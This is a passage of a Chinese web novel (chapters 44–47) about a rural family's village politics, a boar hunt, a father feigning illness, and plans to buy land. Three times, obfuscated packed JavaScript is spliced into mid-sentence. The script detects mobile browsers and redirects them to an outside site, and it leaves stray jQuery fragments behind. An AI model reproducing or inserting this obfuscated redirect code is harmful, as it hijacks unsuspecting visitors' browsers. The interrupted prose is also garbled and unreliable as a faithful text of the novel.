傅娘子忽然想到之前外县人串通了何里正，到村里低价收运土豆的事来。她家里头不敢出面，最后还是乔长田家领的头……乔家村的人还不都感念着乔长田的恩情？ “这事的‘功劳’本该算家里一份的，可偏被小遇给拉住了。”傅娘子暗叹了声，接着却是瘪了瘪嘴，道：“这也不是几个白丁人家说定就定的，还得看官老爷怎么说不是？” 乔小遇“呵”声接话道：“那娘应该比我瞧得更清楚了。差役和医官们到村里来察看疫情，吃、住、办公、熬药都在长田叔家里，菜粉婶子甚至叫了两个妯娌过去帮忙……” “当然，您会说这算不得什么。官府的人既要公事公办，那花用的银钱总会依数补上，长田叔一家这般尽心招待亦不过是不想惹怒官府而已……可真的就仅仅如此么？” 乔小遇轻笑着瞥了她娘一眼，接着道：“那长田叔拖着未好全的脚，领了官差去各家察看疫情，记数送药不说，若遇了官民矛盾纠纷，长田叔还从中调和……又是为什么？” “那照你这么一说，这差事竟已算定了十之八九？”傅娘子微微一怔，嘴唇不由得紧抿成了一条线。 乔小遇不曾应话，只探向她娘的眸光似笑非笑。 “那……那今后竟还得与你长田叔家打好关系了？”傅娘子垂目轻喃，紧凝的眉间似喜似怨。待她可算将事情捋清楚，偏侧过身来想要与女儿说些什么时，却才发觉乔小遇早已离开了这处。 “也罢，等日后乔宝树成了咱家的上门女婿，娘又怎还会念着你长田叔家的不是呢？左右都是一家人了。”傅娘子自顾着点头道。 这似乎是一个自然而然的过程——傅娘子原已按捺下的与乔长田家结亲的心思竟又重新泛起，尽管乔小遇与她娘谈及村里将重选里正之事的本意并非在此。 44. 疲累过甚 几乎未得什么停歇，乔小遇一家又接着进野山林去了，而方到山洞里歇下，乔小遇便提议往设伏的坑洞那处去探探情形。 “你还真当自己能撞着大运的？”乔冉安略显不满地轻扯了扯嘴角，说道。 “这……万一呢？”乔小遇吐舌一笑，目光转向她娘的方向。 事情终究由傅娘子定了下来。乔冉安因担心着她娘俩的安危，便是心里再怎么不乐意，却也一同跟了过去……令人欢喜的是，这回似真的有兽物中伏了？ 且听着那一阵带了痛苦意味的哼唧低吼之声渐变得微弱下去，而在坑洞周围逗留良久的几头野猪也折身离开，那屏了呼吸，掩在灌木丛后头的乔小遇一家终才现出身形来。 “可真是憋死我了，连口粗气都不敢喘！”乔冉安一边拍着沾在身上的枯木黄叶，一边忍不住颤声抱怨道。 在他的认知当中，这山中野兽最为可怕的地方并不在于它们锋利的四爪，而在于敏锐的嗅觉……似只要那挟了人气息的微风自兽物的鼻间吹过，便意味着一通发狂的撕咬！ 乔冉安警惕地看向四周，而手臂上的汗毛则因着他这通“丰富”的想象而竖立起来！只他未留意着脚下，便这般冷不防地踩到一堆枯枝桠上，惊得他那叫一个“鸡飞狗跳”！ “天爷！我的心肝都被吓得掉进肚子里了！”乔冉安下意识急呼出声，而待他低头看清自己究竟踩了个什么东西后，嗓子眼处的那口气却才得以长呼出来…… 乔冉安无奈地仰头闭眼，一边用手轻拍着胸口。 “瞧你那怂胆！”傅娘子没好气地嗤了声，并不再管他，只同女儿缓步行至那坑洞边缘，目光朝下轻探去…… “嘿！竟真是头野猪！小遇她爹，你快来看啊！”傅娘子连忙对那依旧立在原地的乔冉安招了招手，欢喜与酸涩的情绪一齐涌上心头…… 而这厢听闻自家当真撞了运的乔冉安亦是再顾不得为傅娘子那伤人自尊的话而耿怀在心了，忙快步奔来！ 夫妻俩没忍住湿了眼眶。 这般感受，与当日他们拖着疲累的身体从那“擂台”上走下时如出一辙，而这因着“运道”二字而猎得的野猪对乔小遇一家而言，便似一种没有任何预示的馈赠般。 他们不曾抱过什么期望，所以在得了这头野猪后，乔冉安夫妻俩原对于取巧一搏的心怯与不安，终如那缕自烟囱口飘散而出的烟尘一般，渐变得轻了、淡了。 “之前卖到盛家庄的那头野猪，便教咱家里付够了米粮的定金，如今且算着，余下的赊银也能还上了！”傅娘子侧头迎上女儿那双明媚的眼，直觉心口处一阵滚烫。 一家人开始寻思着，怎么才能将这头野猪搬回去……没有畜力可借，终究只能靠自己用绳子拉了。 灰黑色的猪毛染了许多泥灰在上，模样瞧来实在狼狈，而乔小遇一家亦是如此。待将这头中伏的野猪拖上来后，他们已累得瘫倒在地。 只这地方终究不能多呆…… “倒顾不得处理精细了，这猪毛没得刮法，而猪肠子这些东西，怕也只能舍弃。”乔小遇一边说着，一边给她爹娘递过宰猪刀去。 只听得这话，傅娘子手头的动作却不由得微僵，凝语道：“这猪肠子还能炼半缸子油嘞……你这说不要就不要了？” “别说这猪肠子，清理困难的那几个内脏，像猪尿泡、猪肚子之类的东西也不能要了。”乔小遇四下看了看，接着指了那坑洞所在处说道：“便都扔进那里头吧，谁知能不能引了什么恶兽来呢……” “恶兽？”傅娘子没想乔小遇竟又打了这么一层主意，不禁吞咽了口唾沫。 乔冉安出声催促傅娘子道：“快别愣了，待会儿日头渐斜，可不知这处的血腥气会惹来什么东西……” 野猪个头大，总要在这卸作几块才好背回去的，可由此所带来的危险性便也多加了几分。 乔冉安实不愿在此间多盘桓片刻，手上动作十分麻利，并道：“不过是些猪肠子罢了，等下回咱多抓一只野鸡便也补上来了不是？媳妇儿你就别舍不得了。” “再说这地方没水来着，难不成你要将这些还兜了猪屎的肠子背到咱歇脚的地方处理？”乔冉安促狭一笑，接着道：“我知道你能忍了当中味道，可无端添重是什么毛病？依我的意思，咱们今晚便跟着赶回家去，也省得在山里担惊受怕。” 傅娘子咋舌，道：“你倒说得头头是道，直跟竹篾匠手下织的篾笆一般，横竖都教我插不上缝了？” 乔冉安抬眼瞧得傅娘子的眉色渐已舒展开来，心下明晓他媳妇儿终不在这上头纠结了，不禁微抬了下巴，舔笑道：“那我便当是你在夸我了……” 到后半夜时，乔小遇与她爹娘便回到了家中。 他们也足够轻手轻脚了，没成想却还是把留在家里看门的乔小佩给惊醒了起来…… “你们怎么这么快就回来了？”乔小佩的话音微促，待看清进门的人是家里人后，神色转惊为喜。 乔小遇见妹妹在原地微愣了片刻，旋径直将手头那截用来防贼壮胆的木棒子给丢到一旁的情形，不禁摇头失笑，解释道：“这不是运气好么？没想上回就着坑洞所设的伏竟真的成了……” 因觉着爹娘所背着的东西更重些，乔小遇便先让爹娘进了屋去，只瞧着他们那满篮子的猪肉还需费些时间收拾，而自家那道偏窄的门已被堵了个完全，乔小遇便索性将篮子轻顿在家门前的石坎上歇息了。 她接着将自己的手臂从篮子手里退出来…… 原以为这般可算是得了“解脱”，可紧接着，肩膀处却传来了一阵清晰的灼痛感！ “怕是又破皮了……竟连衣服都沾不得。”乔小遇没忍住轻“嘶”出声，两只胳膊却是不论如何也不敢再动了。 “姐姐，你还好么？”一旁的乔小佩连忙帮她把篮子扶稳，一边关切地问道。 乔小遇轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924373|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头，将眉眼间的那几分疲累之色尽敛而去，笑道：“没事的，不过赶夜路略有些伤精神，歇一晚就好了。” 乔小佩如何不知她姐这是在强撑？且瞧着她姐的指尖是一阵紧抑不住的颤抖，乔小佩的心底便不由得泛起一股胀疼感来…… 然而张了张口，乔小佩却只能拣了些日常事来说与她姐姐听。 一通笑语，与院门前那道因被宁静的夜而衬得愈发的声势浩大的河流声混杂在一起，便不论人心底究竟挟藏着多少的疲累与无奈，终也成了一颗普通的泥石，被拖罗河裹着流向远方。 可人终究是不能连轴转的…… 便是一张新牛车，在拉了一段时间后，也需往那车槽里抹点油才用得成，而来自于身体上的疲累感一旦累积到某种地步，也会如同那些被河岸边探出根系的柳树给阻挡住的泥沙一般，渐渐聚成块垒。 这不，连日来身子骨本就没怎么好全的乔冉安始终在折腾着，在将这次背回来的野猪肉腌好后，他便“累得倒下”了。 傅娘子在旁边看得干着急，心下亦怪责自己将乔冉安催得太紧…… “早知道你爹会这样，那挖地窖的事情就该缓着做的。”傅娘子沉叹了口气，眸中难掩苦涩。 乔小遇在旁听得不是滋味，想要安慰她娘吧，可那些在她看来并没有什么“实际效用”的话，实在教她难以开口。 乔小遇紧蹙着眉，深沉的目光则定定地探向那躺在小床上苦哼不已的乔冉安…… 且听傅娘子前脚还骂乔冉安脓包，动不动就哼唧叫苦，后脚却吩咐自己去将板壁上挂着的野鸡取一只来，跟着就炖了给乔冉安补身体的话，乔小遇的脚步却始终未动。 “你这孩子，发什么怔呢？还不快去？”傅娘子回过身来，开口催促乔小遇道。 “娘这般刀子嘴豆腐心，说到底还是软心肠。”乔小遇暗暗想着，直觉着自己的肠胃里竟似堵了团稻草一般，渐被酸蚀，却终究是没法子消化了。 乔小遇知道她爹确有些疲累，可怎么也不至于到这份上…… 每当傅娘子的脚步靠近小床边时，她爹的苦吟声便会自觉加高——这些乔小遇都是看在眼里的，只她这做女儿的能说什么？ “爹这么做究竟能得什么好呢？”乔小遇紧抿着唇，手里的刀稀稀落落地砍在野鸡身上，终也不过切开了些鸡皮而已。 她的心思就不在炖鸡这件事上…… 傅娘子路过乔小遇身旁时，眼见得女儿那般那使不上力的模样，赶忙将手上那碗用来蒸玉米饭的水放下，担忧地道：“小遇，你是不是也觉着身上不舒服？” “若觉着不舒服就快去一旁歇一歇吧，剩下的事娘来做。”傅娘子话音落毕，微凉的手便打算伸将过来轻覆住乔小遇的额头。 然还未等傅娘子触到这温度，乔小遇便稍稍将头偏侧了过去，道：“我没事……” “果真？”傅娘子又跟着问了句。 45. 一出闹剧 乔小遇神色恹恹地点了点头，接着认真砍起鸡肉，而其动作是一如平日里的利落…… 傅娘子见此情形，心下觉着怪异得紧，可她知道自己就是再细问也是难以探得女儿的真实想法了…… 在傅娘子看来，她和女儿虽然都是裹挟在拖罗河中漂流远走的叶片，可一沉一浮，所见风景终有不同。这无疑令傅娘子有些噎怀，却也没办法继续话题，只得以借盐为由折身出门去了。 但对于乔冉安装病这事，乔小遇是不打算噎怀的。 乔小遇用大粗碗盛了一碗鸡汤递到她爹身前，且听着乔冉安那几道着意拔高的苦呻，她轻皱了皱眉，问道：“爹，您可觉着好些了？” “不曾。”乔冉安有些含糊地道。 乔小遇垂下眼睫，只道：“娘说了，若您依旧觉着身上不爽利，等吃过午饭后，便去那位住在长田叔家的魏医官跟前瞧一瞧。他虽是兽医，可普通病症也应当是能看的……” “这怎么使得？”乔冉安摆手便要拒绝。 “这看病还得花银子哩，咱又何必去？我在家歇上一两日就好了。”乔冉安稍坐起身来，接过汤碗说道。 乔小遇闻言轻笑，道：“魏医官怎么好收咱们平民百姓的钱呢？到时咱们带着一块猪肉去就成。” “我都说不必去了！”乔冉安语气微急，只旋又想及拿这主意的人是傅娘子来着，他怎好得对女儿发火？是以敛了几分焦躁，皱眉喝了一口鸡汤后，才道：“这事我会与你娘说的，你个小孩子，就不要跟着瞎操心了。” 鸡汤还略有些烫口，可乔冉安微仰了头，咕隆两口便都灌进了腹中。 乔小遇的神情不由得冷淡了几分…… 她接过乔冉安递过来的粗碗，指尖一阵紧瑟，接着说道：“不妨我再去给您熬一罐排骨？又或是煮个猪头肉，炖只兔子……” 乔小遇仔细“思量”着，一副直恨不得将家中如今存蓄的肉物都用在乔冉安身上，只盼着他能快些好起来的“架势”。 乔冉安听得这话，脸色一滞，而话音亦带了几分怨责意味，道：“哪有你这般破败东西的？” “那些野物可是咱们辛辛苦苦地从山里逮回来的，原就指着它卖钱了，你怎么舍得自家里就吃掉这么多？”乔冉安理了理盖在身上的被子，气哼道：“我都说了我没事……” “那爹既说自己没事，倒不知您打算歇到什么时候呢？三日，五日，还是半个月？”乔小遇的眸光定定地落在乔冉安身上，当中意味莫名。 她的唇角明明勾着一丝淡淡的笑意，只维持得久了，竟几乎教人觉着这笑意已然被凝冻住。 乔冉安愣愣地说不出话来，而呼吸亦失了节奏……至此时，这静悄悄的屋里哪还能听着乔冉安的苦哼声？ “这……你都看出来了？”乔冉安讪讪一笑，神色作苦。 乔小遇淡淡地点了点头，尽管心头布了片疑云，可她并不准备直接开口相问。 空气中是一阵令人尴尬的沉默。 乔冉安轻扯了扯嘴角，似才将那层凝覆住唇肉的无形冰霜给裂散开去，缓声说道：“我也是瞧着你娘忙得停不下脚，这才……” “说来，咱们逮的野物已能撑到明年开春，而你之前提说的买地之事，也只需咱们再往野山林的边缘去一回，便足够把买下那片坡地的银钱攒够了。” 乔冉安用余光瞥了一眼女儿，见她神色难辨，倒不知一股从何处鼓撑而起的气息，竟将他置到了那高处，连带得他说话的语气也带了几分“干预”味道，“你跟你娘就知道闭眼忙活，却不知适可而止的道理……” “适可而止？”乔小遇终于气笑出声，诧异道：“难道爹所一直寻思的，就仅是那几块地埂老高的坡地，以及家里能安然度过这个冬天？呵！” 她径直折身，把大粗碗“砰咚”丢进洗碗盆里…… 向来，这家里不把家私当回事的人是乔小佩来着，乔小遇可舍不得损害分毫，什么都小心护着……如今，她却没忍住动了气。且瞧着碗盆里头被磕缺了的两三个大粗碗，乔小遇怔了几个呼吸，接着心下却不由得生出几分悔意来。 “怎么会那么沉不住气呢？”乔小遇几不可闻地轻叹了声，旋低下身来，将那些碎片从盆里拾捡而出。 乔冉安凝眉看着女儿的举动，嘴巴轻张，却是没那个心思指责她了，旋侧翻了个身，在小床上躺将下来。 乔小遇亦不曾将视线转向她爹这边，只平淡地道：“我记得当初与您提及买地的打算时，您是满口答应的，也不曾生出许多顾忌……” “然而去了山里一趟，心头难抑的恐惧却还是浮了起来，接着便是您口中所谓的‘适可而止’……我怕是劝不动您了，也懒得劝，或许只有娘的话才顶用。” 乔冉安闻言身形一僵，连忙偏侧过头来看向乔小遇，隐怒道：“你要跟你娘说什么？你是想看你娘发火么？” 乔小遇苦笑了笑。 她的眼睫轻轻垂落，尽将眸底的情绪遮掩而尽，才接着道：“看来您也并不十分顾忌娘的感受，既教她心生焦虑，又教她苦恨自责……” “便将几块被人截了头的贫瘠坡地买来，倒不知来年若又遇得连日阴雨，能多挖得几篮子土豆？再说过冬……” “当年那场牛疫发生时，我虽在襁褓之中，却也记得您说过，您和娘归乡时已近夏初。而在那之前，春木未发，多的是饥民流离失所。”乔小遇嗓音低沉地问道：“所以爹当真觉着家里备的粮够了么？” 随着乔小遇的说话声顿住，乔冉安的心思便同那条在山间汩汩流淌的小溪一般，因着忽遇山屏，一时寻不出口，那些水便只能越积越深…… 乔冉安默然半晌，终未憋忍住心头那股翻涌不停的焦躁感，将被子掀开起身道：“得了，这家里便只有你跟你娘是心实的，可巴望着乌漆漆的夜里也能撑住眼皮做活吧？便是将人累死也没什么可内疚的，许还欢喜至极，家里能少糊一张嘴，反倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924374|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能教人觉着松散些。” 乔冉安说的自然是气话，而词句中亦还有着这么一层意思在：他到底不愿承认自个儿怕极了去野山林的事实，只将这出闹剧发生的缘由归于“我累了”这三个字上。 这想法实在是幼稚而偏执。 且瞧着乔冉安直接抄起院里竖着的锄头便往山墙方向去的情形，乔小遇连忙招手相劝。可她张了张口，却觉着那团在胃中堵塞着、不得消化的稻草竟突然回涌到了她的嗓子眼处…… 她终究连半个字都没能喊出，而泛红的眼眶则憋溢出了泪来。 这还仅是她！乔小遇可以想见的是，若察觉这出闹剧的人是傅娘子，那乔冉安所听到的当不止是“惧怕”这样的字眼，而是“怂包”、“鼠目寸光”以及“没担当”这样的骂声！ 乔小遇自认已做到在制止这出闹剧继续发展的过程中谨慎用词，只人心虽是热的，遇冷后温度总会降沉下去些。 …… 傅娘子回到家里时，乔小佩方才起床——为着这事，乔小佩可受了傅娘子好一通唠叨，梳头时没忍住用了力劲，那木梳子竟差些被她毛躁打结的头发给扯断开来。 “娘，您就别念了，昨儿小佩背了许多趟泥巴，晚上直接累得睡不着，我是有意让她多睡一会儿的。”乔小遇柔声一笑，接着走到妹妹身后，与她扎起头发。 傅娘子一阵摇头，接着问道：“对了，你爹呢？”意识到乔冉安不在此间，傅娘子连忙回身去寻。 乔小遇的脸色微微一僵，才抿了唇道：“您方才进院门时，难道没听着屋后传来的掀土声么？我爹他自然是去干活了……” “这糟老头子，怎这么不把自己的身体当回事？小遇你怎么也不拉着他一些……就他这样，你还给他炖什么鸡汤哩，真是被他糟蹋了！”傅娘子气得跺了跺脚，赶忙出门去唤乔冉安回来。 “这不是您让我炖的么？”乔小遇瘪嘴嘀咕了句，神情略显无奈。 乔小佩亦是满腹疑问，“爹不是身上酸疼得厉害么？我瞧他昨晚连爬楼梯的力气都没了，还是娘搀着他上去的……” 乔小遇迟疑了下，寻了这么个说辞，道：“大抵念着家里的活计太多，他心里着急吧。” …… 乔冉安确是被傅娘子给唤回来吃饭了，只到了饭桌上，傅娘子却明显觉着气氛不对，尤其乔冉安和乔小遇的脸上那是半丝表情也无。 傅娘子夹了一块鸡肉，放入口中轻轻咀嚼着，来回相顾的视线不防停落在了那只盛了鸡肉的大碗上…… “这只碗怎么缺了？”傅娘子下意识便朝乔小佩的方向看过来。 “别看我，这可不是我打缺的！”乔小佩眼瞧着又要挨骂，身体不由自主地往后一缩，一边拉了她姐的衣袖，示意乔小遇帮自己说话。 然乔小遇的头却是埋得越发低了，她费力地将之前发生在她与乔冉安之间的对话排除在脑海之外后，旋才轻吸了一口气，道：“这事怪我……” 46. 主持公道 傅娘子果然皱眉欲斥，乔冉安却在这时讪笑着接话道：“原是我放碗筷时不小心打碎的，跟孩子们无关。且媳妇儿你如今看到的，还不是摔得最严重的那一只……” “还有两只大粗碗是直接用不成了，我暂把它们搁在了板壁角里，等吃过饭后，再将它们扔进沟里吧。” “呵！做了错事你竟还能巴着笑脸承认的？”傅娘子斜瞪了一眼乔冉安，却又瞧得乔小遇对着她爹一脸傻笑的模样，而乔冉安竟任凭自己骂了，像个没事人般地伸将出手，轻轻抚过乔小遇的头顶…… 见此情状，傅娘子哪还猜不出那个真正将碗打碎的人是谁？然她却终究收了骂声，将心头的火气抑下。 “瞧着，爹似乎已从那种偏执的状态里走出了？”乔小遇一边扒饭入腹，一边暗暗想着，心头渐变得柔和起来。 吃过饭后。傅娘子本还打算让乔冉安歇息一会儿，自己则带了两个女儿去挖地窖来着，可乔冉安却执意不肯。 “我又不是三岁小孩，自己没个谱的？”乔冉安这般安抚了几句，接着便把锄头从傅娘子的手里给抢了过去！ “你……” 到底是怎么劝都无用了，傅娘子长叹了声，然等她瞥眼看过乔冉安来挖土的情形后，心下已是恍然…… 就如同乔小遇瞒了她的缘由一样，傅娘子也没有同女儿们说起乔冉安装病的事实，回屋后便也只道了一两句埋怨乔冉安不顾及身体的话后，便轻轻将此事揭过了。 傅娘子一边倒着从各家借来的盐，一边与乔小遇念道：“这回借来的一缸盐，竟有半缸是从你长田叔家那里拿的，我方才开口，你菜粉婶子竟都未曾推说半句，直接就去伙房里倒给我了。” “还说之前的事，是她家对不住咱们。若说娘心里原还憋着一股气未消来着，可听过你菜粉婶子的歉疚话后，这心肠不知怎地就软了半截……倒也罢了。” “且听得你爹身子骨不好，你菜粉婶子另还拾了几个鸡蛋给娘。”傅娘子笑着招呼两个女儿过去，指着篮子里头那几个白生生的鸡蛋道：“娘本来也没好意思收的，奈何……” 乔小遇且瞧得她娘尴尬地绷了绷脸皮，轻笑出声：“奈何菜粉婶子长了一张巧嘴，您实在推辞不过，奈何想着我们姊妹几个已许久没能吃上一顿炒鸡蛋了吧……” 傅娘子掩嘴轻咳两声，算是默认了，接着嘿笑道：“小遇你是没在场，当时你宝树哥且听说你爹生病了，提脚便要家里来看你爹哩，可真是个孝顺孩子。只娘心虚，担心他来了之后，难以解释咱家偏屋里挂放着的那些野物的来历，便开口相挡，说你爹这回犯的不过是些小毛病罢了……” 傅娘子悄悄地用余光打量着女儿的神情，继续说道：“你菜粉婶子也说家里来来往往这么多人，需要他招呼着，你宝树哥这才不得不打消了念头。” 乔小遇闻言几不可见地皱了皱眉，暗道：“娘怎么对这事愈发地上心了？” “娘是越看宝树这孩子就越喜欢，小遇，你觉着呢？”傅娘子笑着问女儿道。 乔小佩见她姐神色微滞，插话道：“宝树哥自然是好的，干活勤快，只脸稍黑了些。” “我问的又不是你。”傅娘子没好气地斜瞪了眼乔小佩，接着视线轻转，却见乔小遇垂眸不语，一时有些拿不准乔小遇的想法，只道：“那先将鸡蛋拾出吧，待会儿小遇把篮子送回去。” 然没想乔小遇却侧身对妹妹说道：“你是小的，这种跑腿的事便交给你了。” 傅娘子闻言心下不由得一沉，但迎上乔小遇那道灼明的眸光，一阵皱眉，“小遇，你这是……” 乔小遇轻吸了一口气，才道：“娘，菜粉婶子根本无意与咱家结亲，您应该明白的，不是么？” 母女俩都很清楚，因乔长田得势，傅娘子便又不自觉地将“希望”寄托到了旁人身上。这原本没有对错可言，可终究是你情我愿的事。 …… 乔长田确是得势了，这在村里很多人家看来确是一件很突然的事，也是一件令人欣喜的事。 这日下午，乔小遇去河边倒泥巴，且瞧着那赤红色的泥被清碧色的河水冲融流失，便远听得乔根茂的唤声，“四哥！四嫂！” 乔小遇忙朝他挥了挥手，小跑过去，笑问道：“二叔您怎么来了？我家里正在砌墙哩。” “都这时候了，还砌什么墙！”乔根茂显然也是一路小跑过来的，这会儿叉腰喘着粗气，道：“村里要换你长田叔当里正了，县衙的官爷叫了大家伙去，说是有事情要宣布。” “这是大喜事呢。”乔小遇的神情微怔了片刻，眸中旋才浮起一抹笑意，道：“那二叔你先过去，我这就去叫我爹娘。” 乔根茂没想乔小遇竟一点也不好奇村里为什么突然要换里正，连问都不问他一句，直教他那些已重复过几遍的“精简话”都噎堵在嗓子眼处，却是没机会说了…… “那成！”乔根茂木愣着站起身来，心头似失落了什么一般，教他不适地耸了耸肩…… 然下一息时，他那张赤黄色的脸上却不自主地漾起一副看好戏的笑容来——倒不知官爷会怎么处置何照熊呢？ “那你可记得要叫你爹娘快些啊！”乔根茂笑眯眯地对乔小遇吩咐了这么一句，却是再等不得在此间停留片刻了，随即折身便往回奔！ 直到乔根茂的背影渐变得模糊，乔小遇眸底的那抹笑意终才弥漫开来。 在诊治牛疫这般重要的关口上，重选里正之事须得更慎重些，乔小遇本以为这事会再拖上几天，却没想官府的动作竟会这般快。 “许是村里牛疫的情况比我想象得还要严重，官差们紧忙着，总要找个对接公务的人。”乔小遇口中如此轻喃，便当是这件意料里的事情来得稍早些的解释了…… 她接着低了头往回走，将此事告知爹娘。 乔冉安夫妻俩听完自是欣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924375|160428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜异常，尤其傅娘子——乔小遇且瞧着她娘那般兴奋得几乎要跳起来的模样，直怀疑这当选里正一职的人是她爹来着。 “那咱们赶紧换身衣服就过去吧。”傅娘子一边把乔冉安手中锄头提出泥坑，一边催促道。 乔小遇在旁听着，忍不住扶额道：“这哪消换什么衣服，村里那些刚从地里做活回来的人不也沾了一身泥去的？” “你这孩子懂什么？你长田叔家遇着这样的欢喜事，咱们不得跟着去撑撑面子的？”傅娘子拿手指轻戳了戳乔小遇的额头，眉眼含笑道。 “娘，您这也表现得太明显了，生怕村里人看不出咱家在巴结么？”乔小佩依旧是那一张嘴就不饶人的难改性子，语气轻嗤：“再说长田叔家里这么多兄弟，什么时候轮得着咱家帮着撑场面了？” 傅娘子听得这话，一时不由得尴尬地立在原地。 而等她反应过来，接着便要开口教训乔小佩时，却被上到跟前来的乔小遇给挡了住…… “旁人都是得了信就去了，咱们平头百姓总不好教官府的人等吧？再说了，您和爹这身衣服也不算如何脏污。”乔小遇轻拍着她娘的肩膀，说道。 傅娘子这才收了气，低头套上布鞋。 “媳妇儿，你说这里正既换了长田来当，咱们是否能请他主持公道，把咱们和几个弟兄家的土地重新分上一分呢？”乔冉安依旧站在泥坑里头未动，问到了自己最为关心的问题。 而这问题也触到了傅娘子的心坎。 傅娘子一时默然下来，而那双浑黄的眼中仿佛有着簇簇火焰跳动…… 事实上，自乔小遇与她提说起村里将重选里正，且担这职的人极有可能就是乔长田的事后，傅娘子心里便“自然而然”地存了与乔冉安一般的想法。 “可他会帮咱们么？”傅娘子的眼神不禁朝乔小遇的方向看来。 可乔小遇自觉身处之地不过一片荒草，哪禁得住她娘这般“灼烧”？她动了动唇，竟不知从何应起。 乔冉安倒觉着傅娘子这话问得奇怪，皱眉道：“若他当了里正，便应当为拖罗河这湾子里的人做主的。咱家有了不平事，不去找他该找谁？” 乔小遇没想她爹说话的语气竟还能这般地“理直气壮”，不禁苦笑道：“爹，都说家家有本难念的经，可咱家里这本，长田叔可不一定就能念下来。” “家里一直没能和几个叔伯家里谈拢，这当中固然有何里正那一层因素在，可你们应当还记得，何里正究竟是以什么凭据让咱们哑巴吃黄连的……因为地契上有着爹爹的手印。” 乔小遇沉叹了声，见爹娘的神情变得黯淡下来，便不在这个话题上多作停留，转而道：“你们既然这么惦记地皮的事，不妨留意一下村里关于乔大闯家私占土地之事究竟是怎么处置法。” “这还能怎么处置？自然是重新交还到村里人手上……”傅娘子话及此处，终才意识到问题所在。 47. 三分之地 乔大闯家私占之地，原是由荒山改成的，村里人自都各有一份，可如今成了肥地，却不好各家丈量一段，成为私人之地…… 何况，现下那地里还种着些玉米呢。 “这事确实不好处理……只村里多少人盯着呢，也轮不着咱家里操心，难不成你还想着那几块地能落到咱家手上？”傅娘子有些好笑地看向女儿。 “我怎么就不能想了？”乔小遇定定地看了一眼爹娘，轻笑着道：“便是要众人盯看得紧了才好呢。最好是难以商量出一个解决的法子，而大家亦舍不得将那片地还荒，就这么把这个问题拖到冬日以后……” “这事拖着有什么好？”乔冉安在旁听得不甚明白，不禁挠头问道。 “那片荒地终究是要变成私人之地的，可若当下这关口卖地，村里有那余钱出价的定然不止一两家。”乔小遇清亮的眉眼里浮起一抹狡黠的笑意，只话音却是一沉，道：“可是捱到冬日里头就不一定了。” “往年冬日里，村里穷些的人家已连米粮都接不上了，只能东挪西借，何况今年收成不好，又发生了牛疫……” 听得女儿这般说，傅娘子这才回过味来：女儿始终在做着“有备无患”的打算……等各家都捉襟见肘了，家里开口说想买下那片荒地也会容易得多。 夫妻俩均若有所思地点了点头，而一家人当中最显兴奋的便是乔小佩了。只瞧得她眨巴了好几下眼，道：“若真能买下那处荒地，是不是说咱家每年都能炸些鸡枞油放着了？” “呵，瞧给你上瘾的！”傅娘子嘻笑着道，而乔小佩的额头终未能逃过她娘的泥指印。 这事就这么默认了下来！ 傅娘子把乔冉安晾在一旁的布鞋提过来与他穿，一边喃喃道：“这还得为将来多作打算哩，只瞧着家里如今存的那点米粮哪里够用？” “那还不够？”乔冉安闻言，手中动作不由得微微一滞，只转而竟又沉叹了声，点头道：“确是不够……我也是不能再教你和孩子们跟着我受苦了。” …… 爹娘离开后的半个下午。 乔小遇领着妹妹将余下的泥巴背完后，姐妹俩且趴在地窖口看了看，确觉着这挖地窖活计不是俩人能做的。 她们不确定地窖的深浅是否足够，且想及这地窖还需在靠近偏屋的墙脚下挖个坑洞连着，手中那锄头还怎么敢动？只怕自己帮倒忙。 乔小遇与妹妹相视一眼，俩人均不由得轻叹出一口气来。 “那咱们收拾一下家私，这就回家里歇息了？”乔小佩试探着开口提议道，而看向她姐的眼神满怀期冀。 乔小遇没忍住摇头失笑，道：“你这躲懒求安逸的性子怕是从娘胎里头带出来的吧？就是在地里头做活做得累了，你寻歇脚处也不像别人那么随便，定是要找个日头晒不着的地方……” 她无奈地摇了摇头，笑道：“咱们先把家私收回去吧，然后去河边摸些石头来，填作墙基。” “啥？摸石头？我还以为可以回家歇息了呢。”乔小佩的声音里是一股被“夸张化”了的挫败感，一张小脸则满是苦巴委屈之色。 “你想得倒美！”乔小遇笑着轻哼了声，接着扛了锄头，先走回家去。 说来，乔小遇家盖房子的这块地皮是当初分家的时候得的，而坐落在屋后的那大片平地，则属于她大伯乔冉宏家，现下种了些玉米和大豆在里头。 此前，傅娘子大抵是烦了两家为了边界处的那几尺宽的地皮争来吵去，是以就着自家院墙倒塌的事，特地请了何照熊作为见证，与乔冉宏家重新划线量地，将茅厕后头那段属于自家的小土坡摊平，重新围起院墙。 这便使得乔小遇家多出个后院来…… 只莫以为这地方变宽敞了就都是好事。 